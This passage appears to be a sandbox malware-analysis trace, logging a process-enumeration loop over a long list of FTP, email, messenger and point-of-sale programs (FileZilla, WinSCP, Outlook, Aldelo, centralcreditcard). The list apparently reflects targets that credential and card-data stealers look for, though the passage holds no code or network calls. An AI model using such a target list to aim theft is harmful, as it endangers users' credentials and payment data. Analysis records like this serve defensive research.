lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0128.901] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0128.905] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0128.907] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0128.910] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0128.912] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0128.914] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0128.916] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0128.918] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0128.920] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0128.922] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0128.924] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0128.926] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0128.928] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0128.930] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0128.932] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0128.934] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0128.935] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0128.937] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0128.939] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0128.941] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0128.943] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0128.945] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0128.947] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0128.949] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0128.991] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0128.993] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0128.995] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0128.997] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0128.999] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0129.000] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0129.002] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0129.005] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0129.007] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0129.009] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0129.011] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0129.012] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0129.014] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0129.018] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0129.020] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0129.022] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0129.023] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0129.025] Process32Next (in: hSnapshot=0x202c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0129.027] CloseHandle (hObject=0x202c) returned 1 [0129.027] Sleep (dwMilliseconds=0x64) [0129.212] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e18 [0129.227] Process32First (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.229] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.231] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.233] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.236] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0129.238] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.240] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0129.242] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0129.246] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0129.248] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.250] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.252] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0129.254] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.257] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.259] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.261] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.263] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.265] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.281] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.284] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0129.286] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0129.288] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0129.290] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.292] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0129.294] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0129.296] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0129.406] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0129.408] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0129.410] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0129.412] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0129.414] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.416] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.418] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0129.421] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0129.423] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0129.425] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0129.427] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.429] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.431] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0129.433] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0129.436] Process32Next (in: hSnapshot=0x1e18, lppe=0x100cfe20 | out: 